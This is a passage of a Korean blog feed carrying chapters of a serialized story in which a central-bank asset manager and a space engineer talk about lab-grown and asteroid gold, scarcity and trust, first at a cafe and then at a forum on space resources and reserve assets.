&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;감성으로 경제가 돌아가는 건 아니잖아.&amp;rdquo;&lt;br /&gt;진우가 말했다가, 곧바로 스스로 웃었다. &amp;ldquo;아, 아니다. 사실 감성이 전부지. 사람들이 믿어주니까 돈도 되는 거고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서 내가 요즘 혼란스러운 거야.&amp;rdquo;&lt;br /&gt;민서는 고개를 끄덕였다. &amp;ldquo;난 숫자를 보고 결론을 내리는 사람이라고 생각했는데, 막상 &amp;lsquo;숫자는 합성 금이 맞다&amp;rsquo;는 방향으로 가면서, 내 안에서는 &amp;lsquo;그래도 천연 금이 진짜지&amp;rsquo;라는 이상한 고집이 튀어나오는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;재밌네. 과학자랑 비슷하다.&amp;rdquo;&lt;br /&gt;진우가 말했다. &amp;ldquo;우리가 하는 일도 결국 데이터 보고 설계하고 검증하는 거지만, 은근히 &amp;lsquo;우주에서 가져온 건 특별하다&amp;rsquo;는 미신 같은 자부심이 있어.&lt;br /&gt;근데 랩그로운 금 얘기 나오는 순간, 갑자기 우리가 하는 일이 되게 구식 노동처럼 느껴지는 거야.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠시 둘 사이에 침묵이 흘렀다.&lt;br /&gt;창밖 하늘에는 아주 옅게 달이 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼, 상상해 보자.&amp;rdquo;&lt;br /&gt;민서가 먼저 말을 이었다. &amp;ldquo;랩그로운 금이 진짜로 싸지고, 너희가 소행성에서 금을 톤 단위로 들여올 수 있게 됐다고 치자.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;꿈같은데, 악몽 같기도 하고.&amp;rdquo;&lt;br /&gt;진우가 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금값이 내려가고, 금의 희소성이 사라지는 건 둘 다 알잖아.&lt;br /&gt;그 다음에는 뭐가 제일 귀해질까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 민서를 바라보았다.&lt;br /&gt;그 질문은 단순한 경제학 문제가 아니라는 걸 둘 다 알고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;시간?&amp;rdquo;&lt;br /&gt;진우가 먼저 입을 열었다. &amp;ldquo;진짜로 현장에서, 위험하게 뭔가를 만들고, 고치고, 날려 보는 시간. 그건 아직 실험실에서 복제 못 하잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;흠.&amp;rdquo;&lt;br /&gt;민서가 잠깐 생각하더니, 고개를 끄덕였다. &amp;ldquo;시간 좋네. 나는&amp;hellip; &amp;lsquo;합의&amp;rsquo;라고 생각했거든.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합의?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리가 &amp;lsquo;이게 가치 있다&amp;rsquo;고 같이 믿기로 한 합의. 예전에는 그게 금이었고, 요즘은 어떤 나라에선 달러, 어떤 커뮤니티에선 비트코인 같은 거고.&amp;rdquo;&lt;br /&gt;민서는 다시 폰을 뒤집어 들었다. &amp;ldquo;랩그로운 금이든 우주 금이든, 결국 숫자로 섞이는 순간이 올 텐데&amp;hellip; 그때 사람들은 뭘 붙들고 싶어 할까 싶어서.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너네 집은, 금에 대한 기억이 어때?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리 집은, IMF 때 집을 잃을 뻔했거든.&amp;rdquo;&lt;br /&gt;민서가 컵을 만지작거리며 말했다. &amp;ldquo;그때 부모님이 마지막으로 들고 있던 게, 할머니한테서 물려받은 금 반지랑 목걸이였어. 다 팔아서 겨우 대출 일부 막고, 집은 지켰지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서구나.&amp;rdquo;&lt;br /&gt;진우가 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그 이후로 우리 집에서 &amp;lsquo;금&amp;rsquo;이라는 단어는, 그냥 귀금속이 아니었어.&amp;rdquo;&lt;br /&gt;민서는 웃었다. &amp;ldquo;위기 때 집을 살려준 노란색 금속. 그래서 나도 금을 볼 때, 숫자보다 먼저 그 기억이 떠올라.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리 집은 반대였어.&amp;rdquo;&lt;br /&gt;진우가 말했다. &amp;ldquo;아버지가 2008년 때 금은 안 믿고 주식만 믿다가 크게 데인 쪽. 그때 엄마가 맨날 그랬거든. &amp;lsquo;남들은 금 사서 버텼다는데, 넌 왜 그래프만 믿었냐&amp;rsquo;고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 어깨를 으쓱했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서 내가 우주공학 한다고 했을 때도, 어머니가 한숨부터 쉬셨어. &amp;lsquo;금도 못 쥔 집 아들이 하늘로 올라가겠다&amp;rsquo;고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘은 동시에 웃었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서일까.&lt;br /&gt;한 사람은 금고를 지키는 일을 택했고, 한 사람은 우주에서 금을 캐겠다는 일을 택했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서, 넌 뭘 믿고 싶어?&amp;rdquo;&lt;br /&gt;진우가 되물었다. &amp;ldquo;금이 더 이상 희소하지 않게 되는 세상에서.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠시 대답을 하지 못했다.&lt;br /&gt;대신, 종이에 적힌 문장을 다시 한 번 눈으로 읽었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;What happens when gold is no longer scarce?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 질문은, 단지 금의 가격에 대한 질문이 아니었다.&lt;br /&gt;어쩌면, 앞으로 자신이 어떤 일을 하고, 무엇을 지키고, 무엇을 포기할지를 묻는 질문일지도 모른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;일단은&amp;hellip;&amp;rdquo;&lt;br /&gt;민서는 천천히 말을 꺼냈다. &amp;ldquo;금이 더 이상 희소하지 않게 되는 과정을 지켜보고 싶어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;관찰자 모드?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;관찰자 겸, 약간의 공범.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;우리가 준비자산을 어떻게 조정하느냐에 따라, 그 과정에 속도가 붙을 수도, 완충이 될 수도 있으니까.&lt;br /&gt;적어도, 아무 생각 없이 &amp;lsquo;원래 그랬으니까 그냥 간다&amp;rsquo;는 쪽에는 서고 싶지 않아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;괜찮네, 그거.&amp;rdquo;&lt;br /&gt;진우가 고개를 끄덕였다. &amp;ldquo;그럼 나는,&lt;br /&gt;우리가 우주에서 어떤 희소성을 가져와서, 어떤 희소성을 무너뜨리는지 직접 손으로 만져보고 싶고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼, 이렇게 해보자.&amp;rdquo;&lt;br /&gt;진우가 말했다. &amp;ldquo;나중에 진짜로 우리 회사가 소행성에서 금덩어리 하나 가져오면&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너네 지하 금고에, 그거 한 줄만 끼워 넣어 줘.&amp;rdquo;&lt;br /&gt;진우가 장난스럽게 눈썹을 올렸다. &amp;ldquo;그러면, 거긴 진짜 우주의 역사 박물관이 되는 거잖아. 천연 금, 랩그로운 금, 우주 금. 풀세트.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그제야 웃음을 터뜨렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 너도 약속해.&amp;rdquo;&lt;br /&gt;그가 웃음을 추스르며 말했다. &amp;ldquo;언젠가 너희 회사가 우주 금을 가져와서 금값을 박살 내면&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나, 그때는 진짜로 우주 자산 담당 애널리스트로 이직해서, 너 옆자리 차지할 거니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;와, 중앙은행에서 스타트업으로 이직이라.&amp;rdquo;&lt;br /&gt;진우가 고개를 저었다. &amp;ldquo;그건 금값 붕괴보다도 충격적인 이벤트일 텐데?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금의 시대가 끝나면, 나도 좀 다른 걸 믿어보고 싶어서.&amp;rdquo;&lt;br /&gt;민서는 창밖에 떠 있는 옅은 달을 바라보며 말했다. &amp;ldquo;예를 들어, 금이 아니라&amp;hellip;&lt;br /&gt;우주를 믿는다든가.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우도 함께 밖을 봤다.&lt;br /&gt;울퉁불퉁한 회색 구체가 도시 불빛 사이로 희미하게 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋네, 그거.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 천천히 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금 다음에 믿을 만한 걸로는, 나쁘지 않은 선택이야.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/niyyD/dJMcaiCtmyh/xnvSO6db9UHrewutvgYjPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/niyyD/dJMcaiCtmyh/xnvSO6db9UHrewutvgYjPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/niyyD/dJMcaiCtmyh/xnvSO6db9UHrewutvgYjPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FniyyD%2FdJMcaiCtmyh%2FxnvSO6db9UHrewutvgYjPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;623&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음 글 : &lt;a href=&quot;https://thepin.tistory.com/219&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/219&lt;/a&gt;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>2008위기</category>
      <category>IMF기억</category>
      <category>금투자심리</category>
      <category>대사중심소설</category>
      <category>우주자원</category>
      <category>친구이야기</category>
      <category>카페대화</category>
      <category>현실SF</category>
      <category>희소성과믿음</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/220</guid>
      <comments>https://thepin.tistory.com/220#entry220comment</comments>
      <pubDate>Sun, 8 Mar 2026 18:20:21 +0900</pubDate>
    </item>
    <item>
      <title>4화  포럼, 그리고 이후의 금 . 연금술 이후의 금 .N003</title>
      <link>https://thepin.tistory.com/219</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이전 글 &lt;a href=&quot;https://thepin.tistory.com/220&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/220&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_10PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nUIHj/dJMcahwPZkN/ySbmkxj8uqm8fis5KR2s31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nUIHj/dJMcahwPZkN/ySbmkxj8uqm8fis5KR2s31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nUIHj/dJMcahwPZkN/ySbmkxj8uqm8fis5KR2s31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnUIHj%2FdJMcahwPZkN%2FySbmkxj8uqm8fis5KR2s31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;540&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_10PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;연금술 이후의 금 4화 &amp;ndash; 포럼, 그리고 이후의 금&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼이 열리는 컨벤션 센터는, 중앙은행 건물에서 지하철 두 정거장 떨어진 곳에 있었다.&lt;br /&gt;점심시간을 조금 넘긴 시각, 로비에는 이미 다양한 명찰을 단 사람들이 북적였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 자원과 통화 체계의 미래&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대형 현수막에는 그렇게 적혀 있었다.&lt;br /&gt;아래쪽에는 후원 기관으로 정부 부처, 연구기관, 민간 우주기업, 금융회사 로고들이 줄줄이 박혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 출입 등록을 마치고, 이름표를 목에 걸었다.&lt;br /&gt;&amp;ldquo;한국은행 자산운용국 / 민서&amp;rdquo;라는 글자가 하얀 플라스틱 위에 선명했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 여기서 또 보네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뒤에서 등을 툭 치는 손길이 느껴졌다.&lt;br /&gt;돌아보니, 진우가 손을 흔들고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주광부님, 오늘은 정장 입으셨네.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;투자자들 앞에서 발표라도 하시나요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 그냥 얼굴 좀 좋아 보이라고.&amp;rdquo;&lt;br /&gt;진우가 어깨를 으쓱했다. &amp;ldquo;여기 오니까, 우리 회사 이름도 있더라.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 로비 한쪽, 스폰서 배너가 늘어선 곳을 가리켰다.&lt;br /&gt;진우의 회사 로고가 몇 번째 줄에 적혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금융기관, 우주기업, 정부 연구소&amp;hellip; 다 모였네.&amp;rdquo;&lt;br /&gt;민서가 중얼거렸다. &amp;ldquo;금이 더 이상 희소하지 않을지 모른다는 시대에,&lt;br /&gt;그래도 아직은 이런 자리에서 희소한 &amp;lsquo;정보&amp;rsquo;를 나누고 있는 거겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼은 세션 두 개로 나뉘어 진행됐다.&lt;br /&gt;첫 번째는 &amp;ldquo;우주 자원 개발이 글로벌 원자재 시장에 미치는 영향&amp;rdquo;,&lt;br /&gt;두 번째는 &amp;ldquo;우주 시대의 준비자산과 통화 질서&amp;rdquo;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 세션에서는 익숙한 내용들이 반복되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;소행성 채굴을 통해 이론적으로는 엄청난 양의 귀금속과 희귀 원소를 확보할 수 있다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;하지만 기술적&amp;middot;법적&amp;middot;경제적 허들이 여전히 존재하며, 실제 공급 충격은 수십 년에 걸쳐 점진적으로 나타날 것이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 자원은 지구로 가져와 파는 것보다,&lt;br /&gt;우주에서 바로 사용하는 연료&amp;middot;부품&amp;middot;구조재로서의 가치가 더 클 것이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말하자면,&lt;br /&gt;&amp;ldquo;크게 걱정할 것도, 크게 기대할 것도 아직은 아니다&amp;rdquo;라는 내용이 공손한 표현으로 포장돼 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메모를 하다가, 진우 쪽을 힐끗 봤다.&lt;br /&gt;진우는 팔짱을 낀 채, 발표 슬라이드보다 발표자의 표정을 더 유심히 보는 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;표정이 왜 저래?&amp;rdquo;&lt;br /&gt;민서가 작은 목소리로 물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;저 사람, 우리 회사 투자 설명회 때도 비슷한 말 했거든.&amp;rdquo;&lt;br /&gt;진우가 속삭였다. &amp;ldquo;&amp;lsquo;엄청난 잠재력, 아직은 긴 시간&amp;rsquo; 이 레퍼토리.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐, 틀린 말은 아니잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그렇지.&amp;rdquo;&lt;br /&gt;진우가 수긍했다. &amp;ldquo;그래서 더 문제야. 틀린 건 아닌데,&lt;br /&gt;저 말만 계속 듣다 보면,&lt;br /&gt;우린 평생 &amp;lsquo;잠재력&amp;rsquo;만 가진 채 늙어 갈 것 같거든.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째 세션은, 민서의 직업과 더 직접적인 관련이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사회자가 질문을 던졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 시대가 본격화되고,&lt;br /&gt;랩그로운 금과 소행성 금이 동시에 시장에 영향을 주게 된다면,&lt;br /&gt;우리는 어떤 자산을 &amp;lsquo;신뢰의 기준&amp;rsquo;으로 삼아야 할까요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패널로 나온 사람들은 각자 입장에 맞는 답을 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;여전히 국가 채권과 법정통화가 중심이 될 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;에너지와 탄소배출권 같은 자원이 새로운 준비자산으로 부상할 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;글로벌 테크 기업의 주식과 데이터 자산이 사실상의 준비자산 역할을 하게 될 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;탈중앙화된 디지털 자산이, 금의 역할 일부를 대체할 수 있다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금에 대해서는,&lt;br /&gt;&amp;ldquo;완전히 사라지진 않을 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;다만 준비자산 내 비중은 줄어들 수 있다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;천연 금과 랩그로운 금을 어떻게 구분&amp;middot;관리할지가 관건이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패널 중 한 명이 이렇게 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;사실, 준비자산이라는 개념 자체가&lt;br /&gt;&amp;lsquo;우리끼리의 합의&amp;rsquo;의 다른 이름입니다.&lt;br /&gt;금이든, 채권이든, 데이터든.&lt;br /&gt;우리가 &amp;lsquo;이건 다른 누구도 쉽게 만들 수 없다&amp;rsquo;고 믿고,&lt;br /&gt;&amp;lsquo;이건 쉽게 조작되지 않는다&amp;rsquo;고 믿고,&lt;br /&gt;&amp;lsquo;이건 오랜 시간 동안 가치가 유지될 것이다&amp;rsquo;라고 믿으면,&lt;br /&gt;그게 준비자산이 되는 거죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 저절로 IMF 때, 2008년, 코로나 초기에 본 뉴스 화면들이 떠올랐다.&lt;br /&gt;줄 서 있는 사람들, 문 닫힌 은행, 급락하는 주가지수 옆에서 꾸준히 올라가던 금선물 그래프.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;그때 사람들은, 금이 많아서 산 게 아니었다.&amp;rsquo;&lt;br /&gt;민서는 생각했다. &amp;lsquo;그냥&amp;hellip; 뭔가 손에 쥐고 있을 게 필요했던 거지.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼이 끝난 뒤,&lt;br /&gt;둘은 건물 밖 작은 광장에서 다시 마주 섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떠셨어요, 중앙은행 담당자님.&amp;rdquo;&lt;br /&gt;진우가 물었다. &amp;ldquo;오늘 들은 이야기, 어제 회의에서 들은 이야기랑 많이 달랐어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;톤은 비슷했지.&amp;rdquo;&lt;br /&gt;민서가 대답했다. &amp;ldquo;&amp;lsquo;지켜보자&amp;rsquo;, &amp;lsquo;변화는 올 거다&amp;rsquo;, &amp;lsquo;당장은 아니다&amp;rsquo;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;결국 아무도 책임지고 싶어 하지 않는다는 거네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그건 우리도 마찬가지야.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;나도 알고 보면, 안전한 선 안에서만 고민하는 사람이니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도 좋았던 건&amp;hellip;&amp;rdquo;&lt;br /&gt;진우가 말을 이었다. &amp;ldquo;패널 중 한 명이 했던 말.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;준비자산은 합의의 다른 이름이라는 거?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응.&amp;rdquo;&lt;br /&gt;진우가 고개를 끄덕였다. &amp;ldquo;우리가 뭘 믿기로 하느냐의 문제.&lt;br /&gt;그게 어쩌면,&lt;br /&gt;금이 희소하냐 아니냐보다 더 중요한 포인트일지도 모르겠어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;광장 한쪽, 낮은 난간 너머로 석양빛이 떨어지고 있었다.&lt;br /&gt;해는 거의 다 지고, 붉은 색과 보라색이 뒤섞인 하늘이 도시 위를 덮고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서 말인데.&amp;rdquo;&lt;br /&gt;민서가 조심스레 말을 꺼냈다. &amp;ldquo;어제 카페에서 했던 이야기,&lt;br /&gt;나 진짜로 써보려고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떤 거?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금이 더 이상 희소하지 않은 시대에 대한 보고서.&amp;rdquo;&lt;br /&gt;그가 말했다. &amp;ldquo;물론 공식 보고서 말고,&lt;br /&gt;나 혼자 보는 버전부터.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우의 눈이 조금 커졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;글 쓰겠다고? 너?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나도 가끔은, 숫자 말고 문장도 써.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;거창한 건 아니고, 그냥&amp;hellip;&lt;br /&gt;내가 보는 금고, 네가 보는 소행성,&lt;br /&gt;이 도시에서 우리가 나누는 대화들.&lt;br /&gt;이게 어떻게 한 시대의 단면이 되는지,&lt;br /&gt;한번 정리해 보고 싶어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋네.&amp;rdquo;&lt;br /&gt;진우가 진지하게 말했다. &amp;ldquo;그럼 나도 하나 쓸까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주공학자의 현장 기록?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응.&amp;rdquo;&lt;br /&gt;그가 고개를 끄덕였다. &amp;ldquo;우리가 소행성에서 금을 캐려고 갔다가,&lt;br /&gt;결국 캐온 건 &amp;lsquo;금이라는 개념에 대한 질문&amp;rsquo;이었다는 내용.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나중에, 둘이 서로 바꿔 읽어볼까?&amp;rdquo;&lt;br /&gt;민서가 제안했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행 비밀문서 아니야?&amp;rdquo;&lt;br /&gt;진우가 장난스럽게 물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;당연히 비밀 부분은 빼고 쓰지.&amp;rdquo;&lt;br /&gt;민서가 말했다. &amp;ldquo;대신 너도, 회사 기밀은 빼고 써.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 결국,&lt;br /&gt;우리 둘이 쓸 수 있는 건&lt;br /&gt;&amp;lsquo;숫자 사이의 공백&amp;rsquo;이겠네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래, 딱 그거.&amp;rdquo;&lt;br /&gt;민서가 미소 지었다. &amp;ldquo;숫자와 숫자 사이에 들어 있는,&lt;br /&gt;사람들의 표정, 말투, 망설임, 욕심, 두려움 같은 것들.&amp;rdquo;&lt;/p&gt;
